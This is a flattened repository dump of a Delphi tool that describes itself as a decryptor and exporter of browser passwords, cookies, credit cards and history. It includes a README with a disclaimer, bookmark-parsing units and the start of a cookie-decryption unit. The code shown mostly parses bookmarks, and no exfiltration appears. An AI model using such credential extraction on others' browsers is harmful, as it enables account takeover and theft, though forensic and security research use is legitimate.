├── README.md ├── bin ├── BrowserDataExtractor.exe └── sqlite3.dll ├── image.png └── src ├── BrowserDataExtractor.dpr ├── BrowserDataExtractor.dproj ├── browserdata ├── bookmark │ ├── ChromiumBookmark.pas │ └── FirefoxBookmark.pas ├── cookie │ ├── ChromiumCookie.pas │ └── FirefoxCookie.pas ├── creditcard │ └── ChromiumCreditCard.pas ├── download │ ├── ChromiumDownload.pas │ └── FirefoxDownload.pas ├── extension │ ├── ChromiumExtension.pas │ └── FirefoxExtension.pas ├── history │ ├── ChromiumHistory.pas │ └── FirefoxHistory.pas ├── localstorage │ ├── ChromiumLocalStorage.pas │ └── FirefoxLocalStorage.pas ├── password │ ├── ChromiumPassword.pas │ └── FirefoxPassword.pas └── sessionstorage │ ├── ChromiumSessionStorage.pas │ └── FirefoxSessionStorage.pas ├── chromium ├── ChromiumCrypto.pas └── ChromiumProfiles.pas ├── common └── BrowserDetector.pas └── firefox ├── FirefoxCrypto.pas └── FirefoxProfiles.pas /README.md: -------------------------------------------------------------------------------- 1 | # BrowserDataExtractor-Delphi 2 | 3 | BrowserDataExtractor is a Delphi command-line tool for decrypting and exporting browser data (passwords, history, cookies, bookmarks, credit cards, download history, localStorage and extensions) from the browser. 4 | 5 | 6 | 7 | > Disclaimer: This tool is only intended for security research. Users are responsible for all legal and related liabilities resulting from the use of this tool. The original author does not assume any legal responsibility. 8 | 9 | ![](image.png) 10 | 11 | ## Supported Browser 12 | 13 | ### Windows 14 | | Browser | Password | Cookie | Bookmark | History | 15 | |:-------------------|:--------:|:------:|:--------:|:-------:| 16 | | Google Chrome | ✅ | ✅ | ✅ | ✅ | | 17 | | Microsoft Edge | ✅ | ✅ | ✅ | ✅ | 18 | | Firefox | ✅ | ✅ | ✅ | ✅ | 19 | | Firefox Beta | ✅ | ✅ | ✅ | ✅ | 20 | | Firefox Dev | ✅ | ✅ | ✅ | ✅ | 21 | | Firefox ESR | ✅ | ✅ | ✅ | ✅ | 22 | | Firefox Nightly | ✅ | ✅ | ✅ | ✅ | 23 | | 360 Speed | ❌ | ❌ | ❌ | ❌ | 24 | | QQ | ❌ | ❌ | ❌ | ❌ | 25 | | Brave | ✅ | ✅ | ✅ | ✅ | 26 | | Opera | ❌ | ❌ | ❌ | ❌ | 27 | | OperaGX | ❌ | ❌ | ❌ | ❌ | 28 | | Vivaldi | ❌ | ❌ | ❌ | ❌ | 29 | | Yandex | ❌ | ❌ | ❌ | ❌ | 30 | | CocCoc | ❌ | ❌ | ❌ | ❌ | 31 | | Internet Explorer | ❌ | ❌ | ❌ | ❌ | 32 | 33 | More Browser support will be implemented soon. 34 | 35 | ## 📄 License 36 | 37 | This project is intended for educational and recovery purposes only. Please ensure compliance with applicable laws and regulations in your jurisdiction. 38 | 39 | 40 | ## Contributing 41 | 42 | Contributions are welcome! If you have suggestions or bug fixes, please fork the repository and submit a pull request. 43 | 44 | 45 |

Made with ❤️ using Delphi RAD Studio

-------------------------------------------------------------------------------- /bin/BrowserDataExtractor.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/spawn451/BrowserDataExtractor-Delphi/fcf6efa04372a39910980ec9645a1bf23a59a9f9/bin/BrowserDataExtractor.exe -------------------------------------------------------------------------------- /bin/sqlite3.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/spawn451/BrowserDataExtractor-Delphi/fcf6efa04372a39910980ec9645a1bf23a59a9f9/bin/sqlite3.dll -------------------------------------------------------------------------------- /image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/spawn451/BrowserDataExtractor-Delphi/fcf6efa04372a39910980ec9645a1bf23a59a9f9/image.png -------------------------------------------------------------------------------- /src/browserdata/bookmark/ChromiumBookmark.pas: -------------------------------------------------------------------------------- 1 | unit ChromiumBookmark; 2 | 3 | interface 4 | 5 | uses 6 | System.SysUtils, 7 | System.Classes, 8 | System.IOUtils, 9 | System.Generics.Collections, 10 | System.Generics.Defaults, 11 | System.DateUtils, 12 | System.JSON, 13 | System.StrUtils; 14 | 15 | type 16 | TBrowserKind = (bkChrome, bkBrave, bkEdge); 17 | 18 | TOutputFormat = (ofHuman, ofJSON, ofCSV); 19 | 20 | TBookmarkType = (btURL, btFolder); 21 | 22 | TBookmarkItem = record 23 | ID: Int64; 24 | Name: string; 25 | URL: string; 26 | BookmarkType: TBookmarkType; 27 | DateAdded: TDateTime; 28 | end; 29 | 30 | TBookmarkItems = TArray; 31 | 32 | TChromiumBookmarkHelper = class 33 | private 34 | FProfilePath: string; 35 | FOutputFormat: TOutputFormat; 36 | FBrowserKind: TBrowserKind; 37 | function GetProfileName: string; 38 | function GetBrowserPrefix: string; 39 | procedure EnsureResultsDirectory; 40 | procedure OutputHuman(const Bookmarks: TBookmarkItems); 41 | procedure OutputJSON(const Bookmarks: TBookmarkItems); 42 | procedure OutputCSV(const Bookmarks: TBookmarkItems); 43 | procedure OutputBookmarks(const Bookmarks: TBookmarkItems); 44 | procedure ProcessBookmarkNode(const Node: TJSONObject; 45 | var Bookmarks: TBookmarkItems); 46 | function GetBookmarkType(const TypeStr: string): TBookmarkType; 47 | function ChromiumTimeToDateTime(TimeStamp: Int64): TDateTime; 48 | public 49 | constructor Create(const AProfilePath: string; 50 | ABrowserKind: TBrowserKind = bkChrome); 51 | destructor Destroy; override; 52 | function GetBookmarks: TBookmarkItems; 53 | procedure SortBookmarksByDate(var Bookmarks: TBookmarkItems); 54 | function GetBookmarkCount: Integer; 55 | property OutputFormat: TOutputFormat read FOutputFormat write FOutputFormat; 56 | end; 57 | 58 | implementation 59 | 60 | function TChromiumBookmarkHelper.GetProfileName: string; 61 | var 62 | ProfileFolder: string; 63 | begin 64 | ProfileFolder := ExtractFileName(ExcludeTrailingPathDelimiter(FProfilePath)); 65 | Result := StringReplace(ProfileFolder, ' ', '_', [rfReplaceAll]); 66 | end; 67 | 68 | function TChromiumBookmarkHelper.GetBrowserPrefix: string; 69 | begin 70 | case FBrowserKind of 71 | bkChrome: 72 | Result := 'chrome'; 73 | bkBrave: 74 | Result := 'brave'; 75 | bkEdge: 76 | Result := 'edge'; 77 | end; 78 | end; 79 | 80 | function TChromiumBookmarkHelper.GetBookmarkType(const TypeStr: string) 81 | : TBookmarkType; 82 | begin 83 | if TypeStr = 'url' then 84 | Result := btURL 85 | else 86 | Result := btFolder; 87 | end; 88 | 89 | function TChromiumBookmarkHelper.ChromiumTimeToDateTime(TimeStamp: Int64) 90 | : TDateTime; 91 | const 92 | ChromiumTimeStart = 11644473600; // Seconds between 1601-01-01 and 1970-01-01 93 | begin 94 | Result := UnixToDateTime((TimeStamp div 1000000) - ChromiumTimeStart); 95 | end; 96 | 97 | procedure TChromiumBookmarkHelper.ProcessBookmarkNode(const Node: TJSONObject; 98 | var Bookmarks: TBookmarkItems); 99 | var 100 | NodeType, URL, Name: string; 101 | Children: TJSONArray; 102 | ChildNode: TJSONValue; 103 | TimeStamp: Int64; 104 | ConvertedTime: TDateTime; 105 | BookmarkName, BookmarkURL: string; 106 | begin 107 | if not Node.TryGetValue('type', NodeType) then 108 | Exit; 109 | 110 | if NodeType = 'url' then 111 | begin 112 | Node.TryGetValue('url', BookmarkURL); 113 | Node.TryGetValue('name', BookmarkName); 114 | 115 | if Node.TryGetValue('date_added', TimeStamp) then 116 | begin 117 | ConvertedTime := ChromiumTimeToDateTime(TimeStamp); 118 | SetLength(Bookmarks, Length(Bookmarks) + 1); 119 | with Bookmarks[High(Bookmarks)] do 120 | begin 121 | ID := Length(Bookmarks); 122 | Name := BookmarkName; 123 | URL := BookmarkURL; 124 | BookmarkType := btURL; 125 | DateAdded := ConvertedTime; 126 | end; 127 | end; 128 | end; 129 | 130 | if Node.TryGetValue('children', Children) then 131 | begin 132 | for ChildNode in Children do 133 | begin 134 | if ChildNode is TJSONObject then 135 | ProcessBookmarkNode(TJSONObject(ChildNode), Bookmarks); 136 | end; 137 | end; 138 | end; 139 | 140 | procedure TChromiumBookmarkHelper.EnsureResultsDirectory; 141 | var 142 | ResultsDir: string; 143 | begin 144 | ResultsDir := TPath.Combine(GetCurrentDir, 'results'); 145 | if not TDirectory.Exists(ResultsDir) then 146 | TDirectory.CreateDirectory(ResultsDir); 147 | end; 148 | 149 | procedure TChromiumBookmarkHelper.OutputHuman(const Bookmarks: TBookmarkItems); 150 | var 151 | OutputFile: TextFile; 152 | FileName, FilePath: string; 153 | begin 154 | EnsureResultsDirectory; 155 | FileName := Format('%s_%s_bookmarks.txt', [GetBrowserPrefix, GetProfileName]); 156 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 157 | AssignFile(OutputFile, FilePath); 158 | try 159 | Rewrite(OutputFile); 160 | for var Item in Bookmarks do 161 | begin 162 | WriteLn(OutputFile); 163 | WriteLn(OutputFile, 'Name: ', Item.Name); 164 | WriteLn(OutputFile, 'URL: ', Item.URL); 165 | WriteLn(OutputFile, 'Type: ', IfThen(Item.BookmarkType = btURL, 'URL', 166 | 'Folder')); 167 | WriteLn(OutputFile, 'Date Added: ', FormatDateTime('yyyy-mm-dd hh:nn:ss', 168 | Item.DateAdded)); 169 | WriteLn(OutputFile, '----------------------------------------'); 170 | end; 171 | WriteLn(Format('[%s] Bookmarks saved to: %s', [GetBrowserPrefix.ToUpper, 172 | FilePath])); 173 | finally 174 | CloseFile(OutputFile); 175 | end; 176 | end; 177 | 178 | procedure TChromiumBookmarkHelper.OutputJSON(const Bookmarks: TBookmarkItems); 179 | var 180 | JSONArray: TJSONArray; 181 | JSONObject: TJSONObject; 182 | FileName, FilePath, JSONString: string; 183 | begin 184 | EnsureResultsDirectory; 185 | JSONArray := TJSONArray.Create; 186 | try 187 | for var Item in Bookmarks do 188 | begin 189 | JSONObject := TJSONObject.Create; 190 | JSONObject.AddPair('name', TJSONString.Create(Item.Name)); 191 | JSONObject.AddPair('url', TJSONString.Create(Item.URL)); 192 | JSONObject.AddPair('type', 193 | TJSONString.Create(IfThen(Item.BookmarkType = btURL, 'url', 'folder'))); 194 | JSONObject.AddPair('dateAdded', FormatDateTime('yyyy-mm-dd hh:nn:ss', 195 | Item.DateAdded)); 196 | JSONArray.AddElement(JSONObject); 197 | end; 198 | 199 | FileName := Format('%s_%s_bookmarks.json', 200 | [GetBrowserPrefix, GetProfileName]); 201 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), 202 | FileName); 203 | 204 | JSONString := JSONArray.Format(2); 205 | JSONString := StringReplace(JSONString, '\/', '/', [rfReplaceAll]); 206 | TFile.WriteAllText(FilePath, JSONString); 207 | 208 | WriteLn(Format('[%s] Bookmarks saved to: %s', [GetBrowserPrefix.ToUpper, 209 | FilePath])); 210 | finally 211 | JSONArray.Free; 212 | end; 213 | end; 214 | 215 | procedure TChromiumBookmarkHelper.OutputCSV(const Bookmarks: TBookmarkItems); 216 | var 217 | OutputFile: TextFile; 218 | FileName, FilePath: string; 219 | begin 220 | EnsureResultsDirectory; 221 | FileName := Format('%s_%s_bookmarks.csv', [GetBrowserPrefix, GetProfileName]); 222 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 223 | AssignFile(OutputFile, FilePath); 224 | try 225 | Rewrite(OutputFile); 226 | WriteLn(OutputFile, 'Name,URL,Type,DateAdded'); 227 | 228 | for var Item in Bookmarks do 229 | begin 230 | try 231 | WriteLn(OutputFile, Format('"%s","%s","%s","%s"', 232 | [StringReplace(Item.Name, '"', '""', [rfReplaceAll]), 233 | StringReplace(Item.URL, '"', '""', [rfReplaceAll]), 234 | IfThen(Item.BookmarkType = btURL, 'url', 'folder'), 235 | FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.DateAdded)])); 236 | except 237 | on E: Exception do 238 | WriteLn('Error writing bookmark: ', E.Message); 239 | end; 240 | end; 241 | 242 | WriteLn(Format('[%s] Bookmarks saved to: %s', [GetBrowserPrefix.ToUpper, 243 | FilePath])); 244 | finally 245 | CloseFile(OutputFile); 246 | end; 247 | end; 248 | 249 | procedure TChromiumBookmarkHelper.OutputBookmarks(const Bookmarks 250 | : TBookmarkItems); 251 | begin 252 | case FOutputFormat of 253 | ofHuman: 254 | OutputHuman(Bookmarks); 255 | ofJSON: 256 | OutputJSON(Bookmarks); 257 | ofCSV: 258 | OutputCSV(Bookmarks); 259 | end; 260 | end; 261 | 262 | constructor TChromiumBookmarkHelper.Create(const AProfilePath: string; 263 | ABrowserKind: TBrowserKind = bkChrome); 264 | begin 265 | inherited Create; 266 | FProfilePath := AProfilePath; 267 | FBrowserKind := ABrowserKind; 268 | FOutputFormat := ofCSV; 269 | end; 270 | 271 | destructor TChromiumBookmarkHelper.Destroy; 272 | begin 273 | inherited; 274 | end; 275 | 276 | function TChromiumBookmarkHelper.GetBookmarks: TBookmarkItems; 277 | var 278 | BookmarkFile: string; 279 | JSONText: string; 280 | RootObject: TJSONObject; 281 | RootsObject: TJSONObject; 282 | BookmarkBar, Other: TJSONObject; 283 | begin 284 | SetLength(Result, 0); 285 | BookmarkFile := TPath.Combine(FProfilePath, 'Bookmarks'); 286 | 287 | if not FileExists(BookmarkFile) then 288 | begin 289 | WriteLn(Format('[%s Debug] Bookmark file not found', 290 | [GetBrowserPrefix.ToUpper])); 291 | Exit; 292 | end; 293 | 294 | try 295 | JSONText := TFile.ReadAllText(BookmarkFile); 296 | RootObject := TJSONObject.ParseJSONValue(JSONText) as TJSONObject; 297 | try 298 | if RootObject.TryGetValue('roots', RootsObject) then 299 | begin 300 | if RootsObject.TryGetValue('bookmark_bar', BookmarkBar) 301 | then 302 | ProcessBookmarkNode(BookmarkBar, Result); 303 | 304 | if RootsObject.TryGetValue('other', Other) then 305 | ProcessBookmarkNode(Other, Result); 306 | end; 307 | 308 | if Length(Result) > 0 then 309 | begin 310 | SortBookmarksByDate(Result); 311 | end; 312 | finally 313 | RootObject.Free; 314 | end; 315 | except 316 | on E: Exception do 317 | WriteLn(Format('[%s] Error processing bookmarks: %s', 318 | [GetBrowserPrefix.ToUpper, E.Message])); 319 | end; 320 | 321 | if Length(Result) > 0 then 322 | begin 323 | OutputBookmarks(Result); 324 | end; 325 | end; 326 | 327 | procedure TChromiumBookmarkHelper.SortBookmarksByDate(var Bookmarks 328 | : TBookmarkItems); 329 | var 330 | i, j: Integer; 331 | temp: TBookmarkItem; 332 | begin 333 | for i := Low(Bookmarks) to High(Bookmarks) - 1 do 334 | for j := i + 1 to High(Bookmarks) do 335 | if Bookmarks[i].DateAdded < Bookmarks[j].DateAdded then 336 | begin 337 | temp := Bookmarks[i]; 338 | Bookmarks[i] := Bookmarks[j]; 339 | Bookmarks[j] := temp; 340 | end; 341 | end; 342 | 343 | function TChromiumBookmarkHelper.GetBookmarkCount: Integer; 344 | var 345 | BookmarkFile: string; 346 | JSONText: string; 347 | RootObject: TJSONObject; 348 | Count: Integer; 349 | 350 | function CountBookmarksInNode(const Node: TJSONObject): Integer; 351 | var 352 | NodeType: string; 353 | Children: TJSONArray; 354 | ChildNode: TJSONValue; 355 | begin 356 | Result := 0; 357 | 358 | if not Node.TryGetValue('type', NodeType) then 359 | Exit; 360 | 361 | if NodeType = 'url' then 362 | Inc(Result); 363 | 364 | if Node.TryGetValue('children', Children) then 365 | begin 366 | for ChildNode in Children do 367 | begin 368 | if ChildNode is TJSONObject then 369 | Inc(Result, CountBookmarksInNode(TJSONObject(ChildNode))); 370 | end; 371 | end; 372 | end; 373 | 374 | begin 375 | Result := 0; 376 | BookmarkFile := TPath.Combine(FProfilePath, 'Bookmarks'); 377 | 378 | if not FileExists(BookmarkFile) then 379 | Exit; 380 | 381 | try 382 | JSONText := TFile.ReadAllText(BookmarkFile); 383 | RootObject := TJSONObject.ParseJSONValue(JSONText) as TJSONObject; 384 | try 385 | if Assigned(RootObject) then 386 | begin 387 | Count := 0; 388 | var 389 | RootsObject: TJSONObject; 390 | if RootObject.TryGetValue('roots', RootsObject) then 391 | begin 392 | var 393 | BookmarkBar, Other: TJSONObject; 394 | if RootsObject.TryGetValue('bookmark_bar', BookmarkBar) 395 | then 396 | Inc(Count, CountBookmarksInNode(BookmarkBar)); 397 | if RootsObject.TryGetValue('other', Other) then 398 | Inc(Count, CountBookmarksInNode(Other)); 399 | end; 400 | Result := Count; 401 | end; 402 | finally 403 | RootObject.Free; 404 | end; 405 | except 406 | on E: Exception do 407 | WriteLn(Format('[%s] Error getting bookmark count: %s', 408 | [GetBrowserPrefix.ToUpper, E.Message])); 409 | end; 410 | end; 411 | 412 | end. 413 | -------------------------------------------------------------------------------- /src/browserdata/bookmark/FirefoxBookmark.pas: -------------------------------------------------------------------------------- 1 | unit FirefoxBookmark; 2 | 3 | interface 4 | 5 | uses 6 | System.SysUtils, 7 | System.Classes, 8 | System.IOUtils, 9 | System.Generics.Collections, 10 | System.Generics.Defaults, 11 | System.DateUtils, 12 | System.JSON, 13 | System.StrUtils, 14 | Uni, 15 | SQLiteUniProvider; 16 | 17 | type 18 | TOutputFormat = (ofHuman, ofJSON, ofCSV); 19 | 20 | TBookmarkType = (btURL, btFolder); 21 | 22 | TBookmarkItem = record 23 | ID: Int64; 24 | Name: string; 25 | URL: string; 26 | BookmarkType: TBookmarkType; 27 | DateAdded: TDateTime; 28 | end; 29 | 30 | TBookmarkItems = TArray; 31 | 32 | TFirefoxBookmarkHelper = class 33 | private 34 | FProfilePath: string; 35 | FOutputFormat: TOutputFormat; 36 | FSQLiteConnection: TUniConnection; 37 | 38 | const 39 | QUERY_FIREFOX_BOOKMARK = 'SELECT id, url, type, ' + 40 | 'strftime(''%Y-%m-%d %H:%M:%S'', dateAdded/1000000, ''unixepoch'', ''localtime'') as formatted_date, ' 41 | + 'title ' + 42 | 'FROM (SELECT * FROM moz_bookmarks INNER JOIN moz_places ON moz_bookmarks.fk=moz_places.id)'; 43 | 44 | CLOSE_JOURNAL_MODE = 'PRAGMA journal_mode=off'; 45 | 46 | function GetProfileName: string; 47 | procedure EnsureResultsDirectory; 48 | procedure OutputHuman(const Bookmarks: TBookmarkItems); 49 | procedure OutputJSON(const Bookmarks: TBookmarkItems); 50 | procedure OutputCSV(const Bookmarks: TBookmarkItems); 51 | procedure OutputBookmarks(const Bookmarks: TBookmarkItems); 52 | function GetBookmarkType(TypeValue: Int64): TBookmarkType; 53 | public 54 | constructor Create(const AProfilePath: string); 55 | destructor Destroy; override; 56 | function GetBookmarks: TBookmarkItems; 57 | procedure SortBookmarksByDate(var Bookmarks: TBookmarkItems); 58 | function GetBookmarkCount: Integer; 59 | property OutputFormat: TOutputFormat read FOutputFormat write FOutputFormat; 60 | end; 61 | 62 | implementation 63 | 64 | function TFirefoxBookmarkHelper.GetProfileName: string; 65 | var 66 | ProfileFolder: string; 67 | begin 68 | ProfileFolder := ExtractFileName(ExcludeTrailingPathDelimiter(FProfilePath)); 69 | Result := StringReplace(ProfileFolder, '.', '_', [rfReplaceAll]); 70 | end; 71 | 72 | function TFirefoxBookmarkHelper.GetBookmarkType(TypeValue: Int64) 73 | : TBookmarkType; 74 | begin 75 | case TypeValue of 76 | 1: 77 | Result := btURL; 78 | else 79 | Result := btFolder; 80 | end; 81 | end; 82 | 83 | procedure TFirefoxBookmarkHelper.EnsureResultsDirectory; 84 | var 85 | ResultsDir: string; 86 | begin 87 | ResultsDir := TPath.Combine(GetCurrentDir, 'results'); 88 | if not TDirectory.Exists(ResultsDir) then 89 | TDirectory.CreateDirectory(ResultsDir); 90 | end; 91 | 92 | procedure TFirefoxBookmarkHelper.OutputHuman(const Bookmarks: TBookmarkItems); 93 | var 94 | OutputFile: TextFile; 95 | FileName, FilePath: string; 96 | begin 97 | EnsureResultsDirectory; 98 | FileName := Format('firefox_%s_bookmarks.txt', [GetProfileName]); 99 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 100 | AssignFile(OutputFile, FilePath); 101 | try 102 | Rewrite(OutputFile); 103 | for var Item in Bookmarks do 104 | begin 105 | WriteLn(OutputFile); 106 | WriteLn(OutputFile, 'Name: ', Item.Name); 107 | WriteLn(OutputFile, 'URL: ', Item.URL); 108 | WriteLn(OutputFile, 'Type: ', IfThen(Item.BookmarkType = btURL, 'URL', 109 | 'Folder')); 110 | WriteLn(OutputFile, 'Date Added: ', FormatDateTime('yyyy-mm-dd hh:nn:ss', 111 | Item.DateAdded)); 112 | WriteLn(OutputFile, '----------------------------------------'); 113 | end; 114 | WriteLn('[FIREFOX] Bookmarks saved to: ', FilePath); 115 | finally 116 | CloseFile(OutputFile); 117 | end; 118 | end; 119 | 120 | procedure TFirefoxBookmarkHelper.OutputJSON(const Bookmarks: TBookmarkItems); 121 | var 122 | JSONArray: TJSONArray; 123 | JSONObject: TJSONObject; 124 | FileName, FilePath, JSONString: string; 125 | begin 126 | EnsureResultsDirectory; 127 | JSONArray := TJSONArray.Create; 128 | try 129 | for var Item in Bookmarks do 130 | begin 131 | JSONObject := TJSONObject.Create; 132 | JSONObject.AddPair('name', TJSONString.Create(Item.Name)); 133 | JSONObject.AddPair('url', TJSONString.Create(Item.URL)); 134 | JSONObject.AddPair('type', TJSONString.Create(IfThen(Item.BookmarkType = btURL, 'url', 'folder'))); 135 | JSONObject.AddPair('dateAdded', FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.DateAdded)); 136 | JSONArray.AddElement(JSONObject); 137 | end; 138 | 139 | FileName := Format('firefox_%s_bookmarks.json', [GetProfileName]); 140 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 141 | 142 | // Convert JSON to string 143 | JSONString := JSONArray.Format(2); 144 | 145 | // Replace escaped forward slashes \/ with / 146 | JSONString := StringReplace(JSONString, '\/', '/', [rfReplaceAll]); 147 | 148 | // Save the modified JSON string 149 | TFile.WriteAllText(FilePath, JSONString); 150 | 151 | WriteLn('[FIREFOX] Bookmarks saved to: ', FilePath); 152 | finally 153 | JSONArray.Free; 154 | end; 155 | end; 156 | 157 | procedure TFirefoxBookmarkHelper.OutputCSV(const Bookmarks: TBookmarkItems); 158 | var 159 | OutputFile: TextFile; 160 | FileName, FilePath: string; 161 | begin 162 | EnsureResultsDirectory; 163 | FileName := Format('firefox_%s_bookmarks.csv', [GetProfileName]); 164 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 165 | AssignFile(OutputFile, FilePath); 166 | try 167 | Rewrite(OutputFile); 168 | WriteLn(OutputFile, 'Name,URL,Type,DateAdded'); 169 | 170 | for var Item in Bookmarks do 171 | begin 172 | WriteLn(OutputFile, Format('"%s","%s","%s","%s"', 173 | [StringReplace(Item.Name, '"', '""', [rfReplaceAll]), 174 | StringReplace(Item.URL, '"', '""', [rfReplaceAll]), 175 | IfThen(Item.BookmarkType = btURL, 'url', 'folder'), 176 | FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.DateAdded)])); 177 | end; 178 | 179 | WriteLn('[FIREFOX] Bookmarks saved to: ', FilePath); 180 | finally 181 | CloseFile(OutputFile); 182 | end; 183 | end; 184 | 185 | procedure TFirefoxBookmarkHelper.OutputBookmarks(const Bookmarks 186 | : TBookmarkItems); 187 | begin 188 | case FOutputFormat of 189 | ofHuman: 190 | OutputHuman(Bookmarks); 191 | ofJSON: 192 | OutputJSON(Bookmarks); 193 | ofCSV: 194 | OutputCSV(Bookmarks); 195 | end; 196 | end; 197 | 198 | constructor TFirefoxBookmarkHelper.Create(const AProfilePath: string); 199 | begin 200 | inherited Create; 201 | FProfilePath := AProfilePath; 202 | FOutputFormat := ofCSV; 203 | FSQLiteConnection := TUniConnection.Create(nil); 204 | FSQLiteConnection.ProviderName := 'SQLite'; 205 | FSQLiteConnection.LoginPrompt := False; 206 | FSQLiteConnection.SpecificOptions.Values['Direct'] := 'True'; 207 | end; 208 | 209 | destructor TFirefoxBookmarkHelper.Destroy; 210 | begin 211 | if Assigned(FSQLiteConnection) then 212 | begin 213 | if FSQLiteConnection.Connected then 214 | FSQLiteConnection.Disconnect; 215 | FSQLiteConnection.Free; 216 | end; 217 | inherited; 218 | end; 219 | 220 | function TFirefoxBookmarkHelper.GetBookmarks: TBookmarkItems; 221 | var 222 | Query: TUniQuery; 223 | BookmarkDb, TempDb: string; 224 | FS: TFormatSettings; 225 | begin 226 | SetLength(Result, 0); 227 | BookmarkDb := TPath.Combine(FProfilePath, 'places.sqlite'); 228 | 229 | if not FileExists(BookmarkDb) then 230 | Exit; 231 | 232 | // Create temp copy of database 233 | TempDb := TPath.Combine(TPath.GetTempPath, Format('places_%s.sqlite', 234 | [TGUID.NewGuid.ToString])); 235 | try 236 | TFile.Copy(BookmarkDb, TempDb); 237 | FSQLiteConnection.Database := TempDb; 238 | FSQLiteConnection.Connect; 239 | Query := TUniQuery.Create(nil); 240 | try 241 | Query.Connection := FSQLiteConnection; 242 | Query.SQL.Text := CLOSE_JOURNAL_MODE; 243 | Query.ExecSQL; 244 | Query.SQL.Text := QUERY_FIREFOX_BOOKMARK; 245 | Query.Open; 246 | 247 | while not Query.Eof do 248 | begin 249 | SetLength(Result, Length(Result) + 1); 250 | with Result[High(Result)] do 251 | begin 252 | ID := Query.FieldByName('id').AsLargeInt; 253 | Name := Query.FieldByName('title').AsString; 254 | URL := Query.FieldByName('url').AsString; 255 | BookmarkType := GetBookmarkType(Query.FieldByName('type').AsInteger); 256 | 257 | var DateStr := Query.FieldByName('formatted_date').AsString; 258 | 259 | try 260 | FS := TFormatSettings.Create; 261 | FS.DateSeparator := '-'; 262 | FS.TimeSeparator := ':'; 263 | FS.ShortDateFormat := 'yyyy-mm-dd'; 264 | FS.LongTimeFormat := 'hh:nn:ss'; 265 | DateAdded := StrToDateTime(DateStr, FS); 266 | except 267 | on E: Exception do 268 | begin 269 | WriteLn('Error parsing date: ' + DateStr + ' - ' + E.Message); 270 | DateAdded := 0; // Default value if parsing fails 271 | end; 272 | end; 273 | end; 274 | Query.Next; 275 | end; 276 | 277 | // Sort and output bookmarks in selected format 278 | if Length(Result) > 0 then 279 | begin 280 | SortBookmarksByDate(Result); 281 | OutputBookmarks(Result); 282 | end; 283 | 284 | finally 285 | Query.Free; 286 | FSQLiteConnection.Disconnect; 287 | end; 288 | 289 | finally 290 | // Delete temporary database copy 291 | if FileExists(TempDb) then 292 | TFile.Delete(TempDb); 293 | end; 294 | end; 295 | 296 | procedure TFirefoxBookmarkHelper.SortBookmarksByDate(var Bookmarks 297 | : TBookmarkItems); 298 | var 299 | i, j: Integer; 300 | temp: TBookmarkItem; 301 | begin 302 | for i := Low(Bookmarks) to High(Bookmarks) - 1 do 303 | for j := i + 1 to High(Bookmarks) do 304 | if Bookmarks[i].DateAdded < Bookmarks[j].DateAdded then 305 | begin 306 | temp := Bookmarks[i]; 307 | Bookmarks[i] := Bookmarks[j]; 308 | Bookmarks[j] := temp; 309 | end; 310 | end; 311 | 312 | function TFirefoxBookmarkHelper.GetBookmarkCount: Integer; 313 | var 314 | Query: TUniQuery; 315 | BookmarkDb: string; 316 | begin 317 | Result := 0; 318 | BookmarkDb := TPath.Combine(FProfilePath, 'places.sqlite'); 319 | 320 | if not FileExists(BookmarkDb) then 321 | Exit; 322 | 323 | FSQLiteConnection.Database := BookmarkDb; 324 | 325 | try 326 | FSQLiteConnection.Connect; 327 | Query := TUniQuery.Create(nil); 328 | try 329 | Query.Connection := FSQLiteConnection; 330 | Query.SQL.Text := 'SELECT COUNT(*) as count FROM moz_bookmarks'; 331 | Query.Open; 332 | Result := Query.FieldByName('count').AsInteger; 333 | finally 334 | Query.Free; 335 | end; 336 | except 337 | on E: Exception do 338 | WriteLn('Error getting bookmark count: ', E.Message); 339 | end; 340 | end; 341 | 342 | end. 343 | -------------------------------------------------------------------------------- /src/browserdata/cookie/ChromiumCookie.pas: -------------------------------------------------------------------------------- 1 | unit ChromiumCookie; 2 | 3 | interface 4 | 5 | uses 6 | System.SysUtils, System.Classes, System.IOUtils, System.Generics.Collections, 7 | System.Generics.Defaults, System.DateUtils, System.JSON, System.StrUtils, 8 | Winapi.Windows, Uni, SQLiteUniProvider, ChromiumCrypto; 9 | 10 | type 11 | 12 | TBrowserKind = (bkChrome, bkBrave, bkEdge); 13 | 14 | TOutputFormat = (ofHuman, ofJSON, ofCSV); 15 | 16 | TCookieItem = record 17 | Host: string; 18 | Path: string; 19 | KeyName: string; 20 | Value: string; 21 | IsSecure: Boolean; 22 | IsHTTPOnly: Boolean; 23 | HasExpire: Boolean; 24 | IsPersistent: Boolean; 25 | CreateDate: TDateTime; 26 | ExpireDate: TDateTime; 27 | end; 28 | 29 | TCookieItems = TArray; 30 | 31 | TChromiumCookieHelper = class 32 | private 33 | FProfilePath: string; 34 | FOutputFormat: TOutputFormat; 35 | FBrowserKind: TBrowserKind; 36 | FSQLiteConnection: TUniConnection; 37 | 38 | const 39 | QUERY_CHROMIUM_COOKIE = 'SELECT name, encrypted_value, host_key, path, ' + 40 | 'strftime(''%Y-%m-%d %H:%M:%S'', creation_utc/1000000, ''unixepoch'', ''localtime'') as formatted_create_date, ' 41 | + 'strftime(''%Y-%m-%d %H:%M:%S'', expires_utc/1000000, ''unixepoch'', ''localtime'') as formatted_expire_date, ' 42 | + 'is_secure, is_httponly, has_expires, is_persistent FROM cookies'; 43 | 44 | CLOSE_JOURNAL_MODE = 'PRAGMA journal_mode=off'; 45 | 46 | function GetProfileName: string; 47 | function GetBrowserPrefix: string; 48 | procedure EnsureResultsDirectory; 49 | procedure OutputHuman(const Cookies: TCookieItems); 50 | procedure OutputJSON(const Cookies: TCookieItems); 51 | procedure OutputCSV(const Cookies: TCookieItems); 52 | procedure OutputCookies(const Cookies: TCookieItems); 53 | function DecryptValue(const EncryptedValue: TBytes): string; 54 | 55 | public 56 | constructor Create(const AProfilePath: string; 57 | ABrowserKind: TBrowserKind = 